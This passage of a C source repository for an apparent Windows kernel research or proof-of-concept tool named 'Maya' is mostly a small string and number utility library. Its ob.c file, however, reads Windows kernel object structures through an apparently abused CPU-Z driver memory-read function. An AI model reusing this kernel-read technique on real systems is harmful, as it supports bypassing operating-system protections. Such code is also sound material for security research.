18 | if ((Buffer != NULL) && (BufferSize > 0))
19 | *Buffer = 0;
20 | return FALSE;
21 | }
22 |
23 | for (c = 0; c <= ParamIndex; c++) {
24 | plen = 0;
25 |
26 | while (*CmdLine == ' ')
27 | CmdLine++;
28 |
29 | switch (*CmdLine) {
30 | case 0:
31 | goto zero_term_exit;
32 |
33 | case '"':
34 | CmdLine++;
35 | divider = '"';
36 | break;
37 |
38 | default:
39 | divider = ' ';
40 | }
41 |
42 | while ((*CmdLine != '"') && (*CmdLine != divider) && (*CmdLine != 0)) {
43 | plen++;
44 | if (c == ParamIndex)
45 | if ((plen < BufferSize) && (Buffer != NULL)) {
46 | *Buffer = *CmdLine;
47 | Buffer++;
48 | }
49 | CmdLine++;
50 | }
51 |
52 | if (*CmdLine != 0)
53 | CmdLine++;
54 | }
55 |
56 | zero_term_exit:
57 |
58 | if ((Buffer != NULL) && (BufferSize > 0))
59 | *Buffer = 0;
60 |
61 | if (ParamLen != NULL)
62 | *ParamLen = plen;
63 |
64 | if (plen < BufferSize)
65 | return TRUE;
66 | else
67 | return FALSE;
68 | }
69 |
70 | BOOL GetCommandLineParamA(
71 | IN LPCSTR CmdLine,
72 | IN ULONG ParamIndex,
73 | OUT LPSTR Buffer,
74 | IN ULONG BufferSize,
75 | OUT PULONG ParamLen
76 | )
77 | {
78 | ULONG c, plen = 0;
79 | TCHAR divider;
80 |
81 | if (CmdLine == NULL)
82 | return FALSE;
83 |
84 | if (ParamLen != NULL)
85 | *ParamLen = 0;
86 |
87 | for (c = 0; c <= ParamIndex; c++) {
88 | plen = 0;
89 |
90 | while (*CmdLine == ' ')
91 | CmdLine++;
92 |
93 | switch (*CmdLine) {
94 | case 0:
95 | goto zero_term_exit;
96 |
97 | case '"':
98 | CmdLine++;
99 | divider = '"';
100 | break;
101 |
102 | default:
103 | divider = ' ';
104 | }
105 |
106 | while ((*CmdLine != '"') && (*CmdLine != divider) && (*CmdLine != 0)) {
107 | plen++;
108 | if (c == ParamIndex)
109 | if ((plen < BufferSize) && (Buffer != NULL)) {
110 | *Buffer = *CmdLine;
111 | Buffer++;
112 | }
113 | CmdLine++;
114 | }
115 |
116 | if (*CmdLine != 0)
117 | CmdLine++;
118 | }
119 |
120 | zero_term_exit:
121 |
122 | if ((Buffer != NULL) && (BufferSize > 0))
123 | *Buffer = 0;
124 |
125 | if (ParamLen != NULL)
126 | *ParamLen = plen;
127 |
128 | if (plen < BufferSize)
129 | return TRUE;
130 | else
131 | return FALSE;
132 | }
133 |
134 | char *ExtractFilePathA(const char *FileName, char *FilePath)
135 | {
136 | char *p = (char *)FileName, *p0 = (char *)FileName;
137 |
138 | if ((FileName == 0) || (FilePath == 0))
139 | return 0;
140 |
141 | while (*FileName != 0) {
142 | if (*FileName == '\\')
143 | p = (char *)FileName + 1;
144 | FileName++;
145 | }
146 |
147 | while (p0 < p) {
148 | *FilePath = *p0;
149 | FilePath++;
150 | p0++;
151 | }
152 |
153 | *FilePath = 0;
154 |
155 | return FilePath;
156 | }
157 |
158 | wchar_t *ExtractFilePathW(const wchar_t *FileName, wchar_t *FilePath)
159 | {
160 | wchar_t *p = (wchar_t *)FileName, *p0 = (wchar_t *)FileName;
161 |
162 | if ((FileName == 0) || (FilePath == 0))
163 | return 0;
164 |
165 | while (*FileName != 0) {
166 | if (*FileName == '\\')
167 | p = (wchar_t *)FileName + 1;
168 | FileName++;
169 | }
170 |
171 | while (p0 < p) {
172 | *FilePath = *p0;
173 | FilePath++;
174 | p0++;
175 | }
176 |
177 | *FilePath = 0;
178 |
179 | return FilePath;
180 | }
181 |
--------------------------------------------------------------------------------
/src/Maya/minirtl/cmdline.h:
--------------------------------------------------------------------------------
1 | #ifndef _CMDLINEH_
2 | #define _CMDLINEH_
3 |
4 | BOOL GetCommandLineParamW(
5 | IN LPCWSTR CmdLine,
6 | IN ULONG ParamIndex,
7 | OUT LPWSTR Buffer,
8 | IN ULONG BufferSize,
9 | OUT PULONG ParamLen
10 | );
11 |
12 | BOOL GetCommandLineParamA(
13 | IN LPCSTR CmdLine,
14 | IN ULONG ParamIndex,
15 | OUT LPSTR Buffer,
16 | IN ULONG BufferSize,
17 | OUT PULONG ParamLen
18 | );
19 |
20 | char *ExtractFilePathA(const char *FileName, char *FilePath);
21 | wchar_t *ExtractFilePathW(const wchar_t *FileName, wchar_t *FilePath);
22 |
23 | #ifdef UNICODE
24 |
25 | #define ExtractFilePath ExtractFilePathW
26 | #define GetCommandLineParam GetCommandLineParamW
27 |
28 | #else // ANSI
29 |
30 | #define ExtractFilePath ExtractFilePathA
31 | #define GetCommandLineParam GetCommandLineParamA
32 |
33 | #endif
34 |
35 | #endif /* _CMDLINEH_ */
36 |
--------------------------------------------------------------------------------
/src/Maya/minirtl/minirtl.h:
--------------------------------------------------------------------------------
1 | /*
2 | Module name:
3 | minirtl.h
4 |
5 | Description:
6 | header for string handling and conversion routines
7 |
8 | Date:
9 | 1 Mar 2015
10 | */
11 |
12 | #ifndef _MINIRTL_
13 | #define _MINIRTL_
14 |
15 | // string copy/concat/length
16 |
17 | char *_strend_a(const char *s);
18 | wchar_t *_strend_w(const wchar_t *s);
19 |
20 | char *_strcpy_a(char *dest, const char *src);
21 | wchar_t *_strcpy_w(wchar_t *dest, const wchar_t *src);
22 |
23 | char *_strcat_a(char *dest, const char *src);
24 | wchar_t *_strcat_w(wchar_t *dest, const wchar_t *src);
25 |
26 | char *_strncpy_a(char *dest, size_t ccdest, const char *src, size_t ccsrc);
27 | wchar_t *_strncpy_w(wchar_t *dest, size_t ccdest, const wchar_t *src, size_t ccsrc);
28 |
29 | size_t _strlen_a(const char *s);
30 | size_t _strlen_w(const wchar_t *s);
31 |
32 | // comparing
33 |
34 | int _strcmp_a(const char *s1, const char *s2);
35 | int _strcmp_w(const wchar_t *s1, const wchar_t *s2);
36 |
37 | int _strncmp_a(const char *s1, const char *s2, size_t cchars);
38 | int _strncmp_w(const wchar_t *s1, const wchar_t *s2, size_t cchars);
39 |
40 | int _strcmpi_a(const char *s1, const char *s2);
41 | int _strcmpi_w(const wchar_t *s1, const wchar_t *s2);
42 |
43 | int _strncmpi_a(const char *s1, const char *s2, size_t cchars);
44 | int _strncmpi_w(const wchar_t *s1, const wchar_t *s2, size_t cchars);
45 |
46 | char *_strstr_a(const char *s, const char *sub_s);
47 | wchar_t *_strstr_w(const wchar_t *s, const wchar_t *sub_s);
48 |
49 | char *_strstri_a(const char *s, const char *sub_s);
50 | wchar_t *_strstri_w(const wchar_t *s, const wchar_t *sub_s);
51 |
52 | // conversion of integer types to string, returning string length
53 |
54 | size_t ultostr_a(unsigned long x, char *s);
55 | size_t ultostr_w(unsigned long x, wchar_t *s);
56 |
57 | size_t ultohex_a(unsigned long x, char *s);
58 | size_t ultohex_w(unsigned long x, wchar_t *s);
59 |
60 | size_t itostr_a(int x, char *s);
61 | size_t itostr_w(int x, wchar_t *s);
62 |
63 | size_t i64tostr_a(signed long long x, char *s);
64 | size_t i64tostr_w(signed long long x, wchar_t *s);
65 |
66 | size_t u64tostr_a(unsigned long long x, char *s);
67 | size_t u64tostr_w(unsigned long long x, wchar_t *s);
68 |
69 | size_t u64tohex_a(unsigned long long x, char *s);
70 | size_t u64tohex_w(unsigned long long x, wchar_t *s);
71 |
72 | // string to integers conversion
73 |
74 | unsigned long strtoul_a(char *s);
75 | unsigned long strtoul_w(wchar_t *s);
76 |
77 | unsigned long long strtou64_a(char *s);
78 | unsigned long long strtou64_w(wchar_t *s);
79 |
80 | unsigned long hextoul_a(char *s);
81 | unsigned long hextoul_w(wchar_t *s);
82 |
83 | int strtoi_a(char *s);
84 | int strtoi_w(wchar_t *s);
85 |
86 | signed long long strtoi64_a(char *s);
87 | signed long long strtoi64_w(wchar_t *s);
88 |
89 | unsigned long long hextou64_a(char *s);
90 | unsigned long long hextou64_w(wchar_t *s);
91 |
92 | /* =================================== */
93 |
94 | #ifdef UNICODE
95 |
96 | #define _strend _strend_w
97 | #define _strcpy _strcpy_w
98 | #define _strcat _strcat_w
99 | #define _strlen _strlen_w
100 | #define _strncpy _strncpy_w
101 |
102 | #define _strcmp _strcmp_w
103 | #define _strncmp _strncmp_w
104 | #define _strcmpi _strcmpi_w
105 | #define _strncmpi _strncmpi_w
106 | #define _strstr _strstr_w
107 | #define _strstri _strstri_w
108 |
109 | #define ultostr ultostr_w
110 | #define ultohex ultohex_w
111 | #define itostr itostr_w
112 | #define i64tostr i64tostr_w
113 | #define u64tostr u64tostr_w
114 | #define u64tohex u64tohex_w
115 |
116 | #define strtoul strtoul_w
117 | #define hextoul hextoul_w
118 | #define strtoi strtoi_w
119 | #define strtoi64 strtoi64_w
120 | #define strtou64 strtou64_w
121 | #define hextou64 hextou64_w
122 |
123 | #else // ANSI
124 |
125 | #define _strend _strend_a
126 | #define _strcpy _strcpy_a
127 | #define _strcat _strcat_a
128 | #define _strlen _strlen_a
129 | #define _strncpy _strncpy_a
130 | #define _strcmp _strcmp_a
131 |
132 | #define _strcmp _strcmp_a
133 | #define _strncmp _strncmp_a
134 | #define _strcmpi _strcmpi_a
135 | #define _strncmpi _strncmpi_a
136 | #define _strstr _strstr_a
137 | #define _strstri _strstri_a
138 |
139 | #define ultostr ultostr_a
140 | #define ultohex ultohex_a
141 | #define itostr itostr_a
142 | #define i64tostr i64tostr_a
143 | #define u64tostr u64tostr_a
144 | #define u64tohex u64tohex_a
145 |
146 | #define strtoul strtoul_a
147 | #define hextoul hextoul_a
148 | #define strtoi strtoi_a
149 | #define strtoi64 strtoi64_a
150 | #define strtou64 strtou64_a
151 | #define hextou64 hextou64_a
152 |
153 | #endif
154 |
155 | #endif /* _MINIRTL_ */
156 |
--------------------------------------------------------------------------------
/src/Maya/minirtl/rtltypes.h:
--------------------------------------------------------------------------------
1 | #ifndef _WCHAR_T_DEFINED
2 | typedef unsigned short wchar_t;
3 | #define _WCHAR_T_DEFINED
4 | #endif /* _WCHAR_T_DEFINED */
5 |
6 | #ifndef _SIZE_T_DEFINED
7 | #ifdef _WIN64
8 | typedef unsigned __int64 size_t;
9 | #else /* _WIN64 */
10 | typedef __w64 unsigned int size_t;
11 | #endif /* _WIN64 */
12 | #define _SIZE_T_DEFINED
13 | #endif /* _SIZE_T_DEFINED */
14 |
15 | __forceinline char locase_a(char c)
16 | {
17 | if ((c >= 'A') && (c <= 'Z'))
18 | return c + 0x20;
19 | else
20 | return c;
21 | }
22 |
23 | __forceinline wchar_t locase_w(wchar_t c)
24 | {
25 | if ((c >= 'A') && (c <= 'Z'))
26 | return c + 0x20;
27 | else
28 | return c;
29 | }
30 |
31 | __forceinline char byteabs(char x) {
32 | if (x < 0)
33 | return -x;
34 | return x;
35 | }
36 |
37 | __forceinline int _isdigit_a(char x) {
38 | return ((x >= '0') && (x <= '9'));
39 | }
40 |
41 | __forceinline int _isdigit_w(wchar_t x) {
42 | return ((x >= L'0') && (x <= L'9'));
43 | }
44 |
--------------------------------------------------------------------------------
/src/Maya/minirtl/strtoi.c:
--------------------------------------------------------------------------------
1 | #include "rtltypes.h"
2 |
3 | int strtoi_a(char *s)
4 | {
5 | int a = 0, sign;
6 | char c;
7 |
8 | if (s == 0)
9 | return 0;
10 |
11 | switch (*s) {
12 | case '-':
13 | s++;
14 | sign = -1;
15 | break;
16 |
17 | case '+':
18 | s++;
19 | sign = 1;
20 | break;
21 |
22 | default:
23 | sign = 1;
24 | }
25 |
26 | while (*s != 0) {
27 | c = *s;
28 | if (_isdigit_a(c))
29 | a = (a*10) + (c-'0');
30 | else
31 | break;
32 | s++;
33 | }
34 | return a*sign;
35 | }
36 |
37 | int strtoi_w(wchar_t *s)
38 | {
39 | int a = 0, sign;
40 | wchar_t c;
41 |
42 | if (s == 0)
43 | return 0;
44 |
45 | switch (*s) {
46 | case L'-':
47 | s++;
48 | sign = -1;
49 | break;
50 |
51 | case L'+':
52 | s++;
53 | sign = 1;
54 | break;
55 |
56 | default:
57 | sign = 1;
58 | }
59 |
60 | while (*s != 0) {
61 | c = *s;
62 | if (_isdigit_w(c))
63 | a = (a*10)+(c-L'0');
64 | else
65 | break;
66 | s++;
67 | }
68 | return a*sign;
69 | }
70 |
--------------------------------------------------------------------------------
/src/Maya/minirtl/strtou64.c:
--------------------------------------------------------------------------------
1 | #include "rtltypes.h"
2 |
3 | unsigned long long strtou64_a(char *s)
4 | {
5 | unsigned long long a = 0;
6 | char c;
7 |
8 | if (s == 0)
9 | return 0;
10 |
11 | while (*s != 0) {
12 | c = *s;
13 | if (_isdigit_w(c))
14 | a = (a*10)+(c-'0');
15 | else
16 | break;
17 | s++;
18 | }
19 | return a;
20 | }
21 |
22 | unsigned long long strtou64_w(wchar_t *s)
23 | {
24 | unsigned long long a = 0;
25 | wchar_t c;
26 |
27 | if (s == 0)
28 | return 0;
29 |
30 | while (*s != 0) {
31 | c = *s;
32 | if (_isdigit_w(c))
33 | a = (a*10)+(c-L'0');
34 | else
35 | break;
36 | s++;
37 | }
38 | return a;
39 | }
40 |
--------------------------------------------------------------------------------
/src/Maya/minirtl/strtoul.c:
--------------------------------------------------------------------------------
1 | #include "rtltypes.h"
2 |
3 | unsigned long strtoul_a(char *s)
4 | {
5 | unsigned long a = 0;
6 | char c;
7 |
8 | if (s == 0)
9 | return 0;
10 |
11 | while (*s != 0) {
12 | c = *s;
13 | if (_isdigit_a(c))
14 | a = (a*10)+(c-'0');
15 | else
16 | break;
17 | s++;
18 | }
19 | return a;
20 | }
21 |
22 | unsigned long strtoul_w(wchar_t *s)
23 | {
24 | unsigned long a = 0;
25 | wchar_t c;
26 |
27 | if (s == 0)
28 | return 0;
29 |
30 | while (*s != 0) {
31 | c = *s;
32 | if (_isdigit_w(c))
33 | a = (a*10)+(c-L'0');
34 | else
35 | break;
36 | s++;
37 | }
38 | return a;
39 | }
40 |
--------------------------------------------------------------------------------
/src/Maya/minirtl/u64tohex.c:
--------------------------------------------------------------------------------
1 | #include "rtltypes.h"
2 |
3 | size_t u64tohex_a(unsigned long long x, char *s)
4 | {
5 | char p;
6 | size_t c;
7 |
8 | if (s==0)
9 | return 16;
10 |
11 | for (c=0; c<16; c++) {
12 | p = (char)(x & 0xf);
13 | x >>= 4;
14 |
15 | if (p<10)
16 | p += '0';
17 | else
18 | p = 'A' + (p-10);
19 |
20 | s[15-c] = p;
21 | }
22 |
23 | s[16] = 0;
24 | return 16;
25 | }
26 |
27 | size_t u64tohex_w(unsigned long long x, wchar_t *s)
28 | {
29 | wchar_t p;
30 | size_t c;
31 |
32 | if (s==0)
33 | return 16;
34 |
35 | for (c = 0; c<16; c++) {
36 | p = (wchar_t)(x & 0xf);
37 | x >>= 4;
38 |
39 | if (p<10)
40 | p += L'0';
41 | else
42 | p = L'A' + (p-10);
43 |
44 | s[15-c] = p;
45 | }
46 |
47 | s[16] = 0;
48 | return 16;
49 | }
50 |
--------------------------------------------------------------------------------
/src/Maya/minirtl/u64tostr.c:
--------------------------------------------------------------------------------
1 | #include "rtltypes.h"
2 |
3 | size_t u64tostr_a(unsigned long long x, char *s)
4 | {
5 | unsigned long long t = x;
6 | size_t i, r=1;
7 |
8 | while ( t >= 10 ) {
9 | t /= 10;
10 | r++;
11 | }
12 |
13 | if (s == 0)
14 | return r;
15 |
16 | for (i = r; i != 0; i--) {
17 | s[i-1] = (char)(x % 10) + '0';
18 | x /= 10;
19 | }
20 |
21 | s[r] = (char)0;
22 | return r;
23 | }
24 |
25 | size_t u64tostr_w(unsigned long long x, wchar_t *s)
26 | {
27 | unsigned long long t = x;
28 | size_t i, r=1;
29 |
30 | while ( t >= 10 ) {
31 | t /= 10;
32 | r++;
33 | }
34 |
35 | if (s == 0)
36 | return r;
37 |
38 | for (i = r; i != 0; i--) {
39 | s[i-1] = (wchar_t)(x % 10) + L'0';
40 | x /= 10;
41 | }
42 |
43 | s[r] = (wchar_t)0;
44 | return r;
45 | }
46 |
--------------------------------------------------------------------------------
/src/Maya/minirtl/ultohex.c:
--------------------------------------------------------------------------------
1 | #include "rtltypes.h"
2 |
3 | size_t ultohex_a(unsigned long x, char *s)
4 | {
5 | char p;
6 | size_t c;
7 |
8 | if (s==0)
9 | return 8;
10 |
11 | for (c=0; c<8; c++) {
12 | p = (char)(x & 0xf);
13 | x >>= 4;
14 |
15 | if (p<10)
16 | p += '0';
17 | else
18 | p = 'A' + (p-10);
19 |
20 | s[7-c] = p;
21 | }
22 |
23 | s[8] = 0;
24 | return 8;
25 | }
26 |
27 | size_t ultohex_w(unsigned long x, wchar_t *s)
28 | {
29 | wchar_t p;
30 | size_t c;
31 |
32 | if (s==0)
33 | return 8;
34 |
35 | for (c=0; c<8; c++) {
36 | p = (wchar_t)(x & 0xf);
37 | x >>= 4;
38 |
39 | if (p<10)
40 | p += L'0';
41 | else
42 | p = L'A' + (p-10);
43 |
44 | s[7-c] = p;
45 | }
46 |
47 | s[8] = 0;
48 | return 8;
49 | }
50 |
--------------------------------------------------------------------------------
/src/Maya/minirtl/ultostr.c:
--------------------------------------------------------------------------------
1 | #include "rtltypes.h"
2 |
3 | size_t ultostr_a(unsigned long x, char *s)
4 | {
5 | unsigned long t=x;
6 | size_t i, r=1;
7 |
8 | while ( t >= 10 ) {
9 | t /= 10;
10 | r++;
11 | }
12 |
13 | if (s == 0)
14 | return r;
15 |
16 | for (i = r; i != 0; i--) {
17 | s[i-1] = (char)(x % 10) + '0';
18 | x /= 10;
19 | }
20 |
21 | s[r] = (char)0;
22 | return r;
23 | }
24 |
25 | size_t ultostr_w(unsigned long x, wchar_t *s)
26 | {
27 | unsigned long t=x;
28 | size_t i, r=1;
29 |
30 | while ( t >= 10 ) {
31 | t /= 10;
32 | r++;
33 | }
34 |
35 | if (s == 0)
36 | return r;
37 |
38 | for (i = r; i != 0; i--) {
39 | s[i-1] = (wchar_t)(x % 10) + L'0';
40 | x /= 10;
41 | }
42 |
43 | s[r] = (wchar_t)0;
44 | return r;
45 | }
46 |
--------------------------------------------------------------------------------
/src/Maya/ob.c:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2018
4 | *
5 | * TITLE: OB.C
6 | *
7 | * VERSION: 1.00
8 | *
9 | * DATE: 10 Feb 2018
10 | *
11 | * Object Manager support routines.
12 | *
13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
16 | * PARTICULAR PURPOSE.
17 | *
18 | *******************************************************************************/
19 |
20 | #include "global.h"
21 |
22 | typedef enum _OBJ_HEADER_INFO_FLAG {
23 | HeaderCreatorInfoFlag = 0x1,
24 | HeaderNameInfoFlag = 0x2,
25 | HeaderHandleInfoFlag = 0x4,
26 | HeaderQuotaInfoFlag = 0x8,
27 | HeaderProcessInfoFlag = 0x10
28 | } OBJ_HEADER_INFO_FLAG;
29 |
30 | /*
31 | * ObpGetObjectHeaderOffset
32 | *
33 | * Purpose:
34 | *
35 | * Query requested structure offset for the given mask.
36 | *
37 | *
38 | * Object In Memory Disposition
39 | *
40 | * POOL_HEADER
41 | * OBJECT_HEADER_PROCESS_INFO
42 | * OBJECT_HEADER_QUOTA_INFO
43 | * OBJECT_HEADER_HANDLE_INFO
44 | * OBJECT_HEADER_NAME_INFO
45 | * OBJECT_HEADER_CREATOR_INFO
46 | * OBJECT_HEADER
47 | *
48 | */
49 | BYTE ObpGetObjectHeaderOffset(
50 | _In_ BYTE InfoMask,
51 | _In_ OBJ_HEADER_INFO_FLAG Flag
52 | )
53 | {
54 | BYTE OffsetMask, HeaderOffset = 0;
55 |
56 | if ((InfoMask & Flag) == 0)
57 | return 0;
58 |
59 | OffsetMask = InfoMask & (Flag | (Flag - 1));
60 |
61 | if ((OffsetMask & HeaderCreatorInfoFlag) != 0)
62 | HeaderOffset += (BYTE)sizeof(OBJECT_HEADER_CREATOR_INFO);
63 |
64 | if ((OffsetMask & HeaderNameInfoFlag) != 0)
65 | HeaderOffset += (BYTE)sizeof(OBJECT_HEADER_NAME_INFO);
66 |
67 | if ((OffsetMask & HeaderHandleInfoFlag) != 0)
68 | HeaderOffset += (BYTE)sizeof(OBJECT_HEADER_HANDLE_INFO);
69 |
70 | if ((OffsetMask & HeaderQuotaInfoFlag) != 0)
71 | HeaderOffset += (BYTE)sizeof(OBJECT_HEADER_QUOTA_INFO);
72 |
73 | if ((OffsetMask & HeaderProcessInfoFlag) != 0)
74 | HeaderOffset += (BYTE)sizeof(OBJECT_HEADER_PROCESS_INFO);
75 |
76 | return HeaderOffset;
77 | }
78 |
79 | /*
80 | * ObpHeaderToNameInfoAddress
81 | *
82 | * Purpose:
83 | *
84 | * Calculate address of name structure from object header flags and object address.
85 | *
86 | */
87 | BOOL ObpHeaderToNameInfoAddress(
88 | _In_ UCHAR ObjectInfoMask,
89 | _In_ ULONG_PTR ObjectAddress,
90 | _Inout_ PULONG_PTR HeaderAddress,
91 | _In_ OBJ_HEADER_INFO_FLAG InfoFlag
92 | )
93 | {
94 | BYTE HeaderOffset;
95 | ULONG_PTR Address;
96 |
97 | if (HeaderAddress == NULL)
98 | return FALSE;
99 |
100 | HeaderOffset = ObpGetObjectHeaderOffset(ObjectInfoMask, InfoFlag);
101 | if (HeaderOffset == 0)
102 | return FALSE;
103 |
104 | Address = ObjectAddress - HeaderOffset;
105 |
106 | *HeaderAddress = Address;
107 | return TRUE;
108 | }
109 |
110 | /*
111 | * ObpQueryNameString
112 | *
113 | * Purpose:
114 | *
115 | * Reads object name from kernel memory, returned buffer must be freed with supHeapFree.
116 | *
117 | */
118 | LPWSTR ObpQueryNameString(
119 | _In_ ULONG_PTR NameInfoAddress,
120 | _Out_opt_ PSIZE_T ReturnLength
121 | )
122 | {
123 | ULONG fLen;
124 | LPWSTR lpObjectName = NULL;
125 |
126 | OBJECT_HEADER_NAME_INFO NameInfo;
127 |
128 | if (ReturnLength)
129 | *ReturnLength = 0;
130 |
131 | RtlSecureZeroMemory(&NameInfo, sizeof(OBJECT_HEADER_NAME_INFO));
132 | if (cpuz_readVirtualMemory(NameInfoAddress, &NameInfo, sizeof(OBJECT_HEADER_NAME_INFO))) {
133 | fLen = NameInfo.Name.Length + sizeof(UNICODE_NULL);
134 | lpObjectName = supHeapAlloc(fLen);
135 | if (lpObjectName != NULL) {
136 | NameInfoAddress = (ULONG_PTR)NameInfo.Name.Buffer;
137 | if (cpuz_readVirtualMemory(NameInfoAddress, lpObjectName, NameInfo.Name.Length)) {
138 | if (ReturnLength)
139 | *ReturnLength = fLen;
140 | }
141 | else {
142 | supHeapFree(lpObjectName);
143 | lpObjectName = NULL;
144 | }
145 | }
146 | }
147 | return lpObjectName;
148 | }
149 |
150 | /*
151 | * ObGetDirectoryObjectAddress
152 | *
153 | * Purpose:
154 | *
155 | * Return directory object kernel address.
156 | *
157 | */
158 | BOOL ObGetDirectoryObjectAddress(
159 | _In_opt_ LPWSTR lpDirectory,
160 | _Inout_ PULONG_PTR lpRootAddress,
161 | _Inout_opt_ PUSHORT lpTypeIndex
162 | )
163 | {
164 | BOOL bFound = FALSE;
165 | HANDLE hDirectory = NULL;
166 | NTSTATUS status;
167 | LPWSTR lpTarget;
168 | OBJECT_ATTRIBUTES objattr;
169 | UNICODE_STRING objname;
170 |
171 | if (lpRootAddress == NULL)
172 | return bFound;
173 |
174 | if (lpDirectory == NULL) {
175 | lpTarget = L"\\";
176 | }
177 | else {
178 | lpTarget = lpDirectory;
179 | }
180 | RtlSecureZeroMemory(&objname, sizeof(objname));
181 | RtlInitUnicodeString(&objname, lpTarget);
182 | InitializeObjectAttributes(&objattr, &objname, OBJ_CASE_INSENSITIVE, NULL, NULL);
183 | status = NtOpenDirectoryObject(&hDirectory, DIRECTORY_QUERY, &objattr);
184 | if (!NT_SUCCESS(status))
185 | return bFound;
186 |
187 | bFound = supQueryObjectFromHandle(hDirectory, lpRootAddress, lpTypeIndex);
188 | NtClose(hDirectory);
189 | return bFound;
190 | }
191 |
192 | /*
193 | * ObpWalkDirectory
194 | *
195 | * Purpose:
196 | *
197 | * Walks given directory and looks for specified object inside.
198 | * Return value is the kernel address of object to find.
199 | * Simplified version from WinObjEx64
200 | *
201 | */
202 | PVOID ObpWalkDirectory(
203 | _In_ LPWSTR lpObjectToFind,
204 | _In_ ULONG_PTR DirectoryAddress
205 | )
206 | {
207 | BOOL bFound;
208 | INT c;
209 | SIZE_T retSize;
210 | LPWSTR lpObjectName;
211 | ULONG_PTR ObjectHeaderAddress, item0, item1, InfoHeaderAddress;
212 |
213 | OBJECT_HEADER ObjectHeader;
214 | OBJECT_DIRECTORY DirObject;
215 | OBJECT_DIRECTORY_ENTRY Entry;
216 |
217 | __try {
218 |
219 | if (lpObjectToFind == NULL)
220 | return NULL;
221 |
222 | RtlSecureZeroMemory(&DirObject, sizeof(OBJECT_DIRECTORY));
223 | if (!cpuz_readVirtualMemory(DirectoryAddress, &DirObject, sizeof(OBJECT_DIRECTORY))) {
224 |
225 | #ifdef _DEBUG
226 | OutputDebugString(L"cpuz_readVirtualMemory(DirectoryAddress) failed");
227 | #endif
228 | return NULL;
229 | }
230 |
231 | lpObjectName = NULL;
232 | retSize = 0;
233 | bFound = FALSE;
234 |
235 | for (c = 0; c < NUMBEROFBUCKETS; c++) {
236 |
237 | item0 = (ULONG_PTR)DirObject.HashBuckets[c];
238 | if (item0 != 0) {
239 |
240 | item1 = item0;
241 | do {
242 |
243 | //read object directory entry
244 | RtlSecureZeroMemory(&Entry, sizeof(OBJECT_DIRECTORY_ENTRY));
245 | if (!cpuz_readVirtualMemory(item1, &Entry, sizeof(OBJECT_DIRECTORY_ENTRY))) {
246 |
247 | #ifdef _DEBUG
248 | OutputDebugString(L"cpuz_readVirtualMemory(OBJECT_DIRECTORY_ENTRY) failed");
249 | #endif
250 | break;
251 | }
252 |
253 | //read object header
254 | RtlSecureZeroMemory(&ObjectHeader, sizeof(OBJECT_HEADER));
255 | ObjectHeaderAddress = (ULONG_PTR)OBJECT_TO_OBJECT_HEADER(Entry.Object);
256 | if (!cpuz_readVirtualMemory(ObjectHeaderAddress, &ObjectHeader, sizeof(OBJECT_HEADER))) {
257 |
258 | #ifdef _DEBUG
259 | OutputDebugString(L"cpuz_readVirtualMemory(ObjectHeaderAddress) failed");
260 | #endif
261 | goto NextItem;
262 | }
263 |
264 | //check if object has name
265 | InfoHeaderAddress = 0;
266 | retSize = 0;
267 | if (!ObpHeaderToNameInfoAddress(ObjectHeader.InfoMask, ObjectHeaderAddress,
268 | &InfoHeaderAddress, HeaderNameInfoFlag))
269 | {
270 | goto NextItem;
271 | }
272 |
273 | //object has name, query it
274 | lpObjectName = ObpQueryNameString(InfoHeaderAddress, &retSize);
275 | if ((lpObjectName == NULL) || (retSize == 0))
276 | goto NextItem;
277 |
278 | //compare full object names
279 | bFound = (_strcmpi(lpObjectName, lpObjectToFind) == 0);
280 | supHeapFree(lpObjectName);
281 | if (bFound == FALSE) {
282 | goto NextItem;
283 | }
284 | //identical, return object address
285 | return Entry.Object;
286 |
287 | NextItem:
288 | if (bFound)
289 | break;
290 |
291 | item1 = (ULONG_PTR)Entry.ChainLink;
292 | } while (item1 != 0);
293 | }
294 | if (bFound)
295 | break;
296 | }
297 |
298 | }
299 | __except (EXCEPTION_EXECUTE_HANDLER) {
300 | return NULL;
301 | }
302 | return NULL;
303 | }
304 |
305 | /*
306 | * ObQueryObject
307 | *
308 | * Purpose:
309 | *
310 | * Look for object inside specified directory.
311 | *
312 | */
313 | PVOID ObQueryObject(
314 | _In_ LPWSTR lpDirectory,
315 | _In_ LPWSTR lpObjectName
316 | )
317 | {
318 | BOOL needFree = FALSE;
319 | ULONG_PTR DirectoryAddress;
320 | SIZE_T i, l, rdirLen, ldirSz;
321 | LPWSTR SingleDirName, LookupDirName;
322 |
323 | __try {
324 |
325 | LookupDirName = lpDirectory;
326 |
327 | l = 0;
328 | rdirLen = _strlen(lpDirectory);
329 | for (i = 0; i < rdirLen; i++) {
330 | if (lpDirectory[i] == '\\')
331 | l = i + 1;
332 | }
333 | SingleDirName = &lpDirectory[l];
334 | if (_strcmpi(SingleDirName, lpObjectName) == 0) {
335 |
336 | ldirSz = rdirLen * sizeof(WCHAR) + sizeof(UNICODE_NULL);
337 | LookupDirName = supHeapAlloc(ldirSz);
338 | if (LookupDirName == NULL)
339 | return NULL;
340 |
341 | needFree = TRUE;
342 |
343 | if (l == 1) l++;
344 |
345 | supCopyMemory(LookupDirName, ldirSz, lpDirectory, (l - 1) * sizeof(WCHAR));
346 | }
347 |
348 | DirectoryAddress = 0;
349 | if (ObGetDirectoryObjectAddress(LookupDirName, &DirectoryAddress, NULL)) {
350 |
351 | if (needFree)
352 | supHeapFree(LookupDirName);
353 |
354 | return ObpWalkDirectory(lpObjectName, DirectoryAddress);
355 | }
356 | }
357 |
358 | __except (EXCEPTION_EXECUTE_HANDLER) {
359 | return NULL;
360 | }
361 | return NULL;
362 | }
363 |
--------------------------------------------------------------------------------
/src/Maya/ob.h:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2018
4 | *
5 | * TITLE: OB.H
6 | *
7 | * VERSION: 1.00
8 | *
9 | * DATE: 10 Feb 2018
10 | *
11 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
12 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
13 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
14 | * PARTICULAR PURPOSE.
